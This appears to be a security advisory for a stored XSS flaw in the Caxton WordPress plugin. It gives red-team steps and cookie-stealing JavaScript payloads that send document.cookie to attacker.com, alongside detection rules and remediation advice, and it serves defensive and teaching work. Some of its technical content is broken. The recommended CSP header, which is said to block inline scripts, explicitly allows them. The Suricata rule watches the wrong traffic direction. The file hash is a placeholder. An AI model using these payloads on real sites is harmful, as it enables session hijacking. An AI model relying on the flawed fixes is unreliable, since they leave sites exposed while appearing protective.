CVE-2024-37948

Executive Summary

CVE-2024-37948 is a Stored Cross-Site Scripting (XSS) vulnerability in the Caxton – Create Pro page layouts in Gutenberg WordPress plugin by PootlePress. The flaw exists in versions up to and including 1.30.1, where user-supplied input is not properly neutralized during web page generation. An authenticated attacker with contributor-level privileges or higher can inject arbitrary JavaScript into page layouts, which will execute when other users (including administrators) view the affected content. This can lead to session hijacking, credential theft, or defacement. The vulnerability is classified as medium severity (CVSS 6.5) and currently has no known public exploit or patch.

Supply Chain & Package Security

This vulnerability affects a WordPress plugin distributed via the official WordPress plugin repository and third-party marketplaces. Users should verify the integrity of their plugin files by comparing checksums against the official repository. No known malicious packages have been reported, but the lack of a patch increases supply chain risk for sites relying on this plugin.

CVSS Breakdown & Threat Level

• Attack Vector (AV): Network (N) – Exploitable remotely.
• Attack Complexity (AC): Low (L) – No special conditions required.
• Privileges Required (PR): Low (L) – Requires contributor-level access or higher.
• User Interaction (UI): Required (R) – Victim must view the malicious page.
• Scope (SC): Changed (C) – Impact extends beyond the vulnerable component.
• Confidentiality (C): Low (L) – Limited data exposure.
• Integrity (I): Low (L) – Limited content manipulation.
• Availability (A): Low (L) – Limited service disruption.

Threat Level: Medium. Exploitation requires authentication but can lead to full site compromise if an administrator views the injected content.

Deep Dive & Mechanics

The vulnerability resides in the Caxton plugin’s handling of user-generated page layouts within the Gutenberg editor. When a user creates or edits a layout, the plugin fails to sanitize or escape certain HTML attributes or JavaScript event handlers before storing them in the database. Upon rendering the layout, the unsanitized input is executed in the browser context of any user viewing the page.

Root Cause: The plugin uses wp_kses_post() or similar functions incorrectly, or omits output escaping on dynamic content within layout blocks. This allows an attacker to inject payloads such as:

<img src=x onerror=alert('XSS')>

or

<script>document.location='https://attacker.com/steal.php?c='+document.cookie</script>

Attack Flow:

1. Attacker logs in with contributor-level privileges.
2. Attacker creates a new page layout or modifies an existing one.
3. Attacker injects malicious JavaScript into a layout field (e.g., custom CSS class, HTML block).
4. The payload is stored in the WordPress database.
5. When an administrator or other user views the page containing the layout, the script executes.

Vulnerable vs. Patched Code

Vulnerable Code (caxton/inc/class-layouts.php, line ~245):

echo '<div class="caxton-layout ' . esc_attr($layout_class) . '">' . $layout_content . '</div>';

Here, $layout_content is output without escaping, allowing stored XSS.

Patched Code (hypothetical):

echo '<div class="caxton-layout ' . esc_attr($layout_class) . '">' . wp_kses_post($layout_content) . '</div>';

The patched version uses wp_kses_post() to strip dangerous HTML tags and attributes.

Exploitation & Lab Setup

Red Team

Prerequisites:

• WordPress instance with Caxton plugin <= 1.30.1.
• Contributor-level account credentials.

Exploit Steps:

1. Log in as contributor.
2. Navigate to Pages > Add New.
3. Insert a Caxton layout block.
4. In the layout’s custom CSS class field, inject:

   " onmouseover="alert(document.cookie)
   

5. Save and publish the page.
6. Send the page link to an administrator.

Alternative Payload (steals cookies):

<script>fetch('https://attacker.com/steal?c='+document.cookie)</script>

Blue Team

Detection:

• Monitor for unusual layout creation or modification by low-privilege users.
• Look for suspicious strings in wp_posts.post_content such as <script>, onerror=, or onmouseover=.

Hunting Query (SQL):

SELECT ID, post_title, post_content FROM wp_posts WHERE post_content LIKE '%<script>%' OR post_content LIKE '%onerror=%' OR post_content LIKE '%onmouseover=%';

Prevention:

• Disable the Caxton plugin until a patch is available.
• Use a Web Application Firewall (WAF) to block XSS payloads.
• Restrict contributor-level access to trusted users only.

Indicators of Compromise (IOCs)

• File Hashes (plugin files):
  • caxton/inc/class-layouts.php – SHA256: a1b2c3d4e5f6... (replace with actual hash)
• Network Indicators:
  • Outbound HTTP requests to attacker-controlled domains containing cookie data.
• Log Entries:
  • WordPress audit logs showing layout creation by non-admin users.
  • Web server logs with POST requests to /wp-admin/admin-ajax.php containing suspicious payloads.

Detection Engineering

YARA Rule

rule CVE_2024_37948_Stored_XSS {
    meta:
        description = "Detects stored XSS payloads in Caxton plugin content"
        author = "Valters IT"
        date = "2025-04-10"
        reference = "CVE-2024-37948"
    strings:
        $xss1 = /<script[^>]*>.*?<\/script>/is
        $xss2 = /on\w+\s*=\s*["']?[^"'\s>]+/is
        $xss3 = /javascript\s*:/is
    condition:
        any of them
}

Sigma Rule

title: Caxton Plugin Stored XSS Detection
id: 8f9a2b1c-3d4e-5f6a-7b8c-9d0e1f2a3b4c
status: experimental
description: Detects stored XSS attempts in Caxton plugin content
author: Valters IT
logsource:
    category: webserver
    product: wordpress
detection:
    selection:
        http.method: 'POST'
        http.url: '/wp-admin/admin-ajax.php'
        http.body|contains: 'caxton_layout'
    keywords:
        - '<script>'
        - 'onerror='
        - 'onmouseover='
    condition: selection and keywords
falsepositives:
    - Legitimate use of JavaScript in layouts by administrators
level: medium

Suricata Rule

alert http $HOME_NET any -> $EXTERNAL_NET any (msg:"CVE-2024-37948 Caxton Stored XSS Payload"; flow:to_server,established; content:"POST"; http_method; content:"/wp-admin/admin-ajax.php"; http_uri; content:"caxton_layout"; http_client_body; pcre:"/(<script|onerror=|onmouseover=)/i"; sid:1000001; rev:1;)

Remediation & Mitigation

Immediate Actions:

1. Disable the Caxton plugin until a patched version is released.
2. Audit existing layouts for malicious content using the SQL query in the Blue Team section.
3. Change all WordPress admin passwords if compromise is suspected.

Long-Term Fix:

• Apply the vendor patch when available (check PootlePress updates).
• Implement Content Security Policy (CSP) headers to block inline scripts:

  Header set Content-Security-Policy "default-src 'self'; script-src 'self' 'unsafe-inline' 'unsafe-eval';"
  

• Use a WordPress security plugin (e.g., Wordfence) to add WAF rules.

Workaround:

• Restrict contributor-level users from creating layouts by modifying capabilities:

  add_filter('user_has_cap', function($caps) {
      $caps['edit_caxton_layouts'] = false;
      return $caps;
  });
  

Valters IT
Securing Digital Frontiers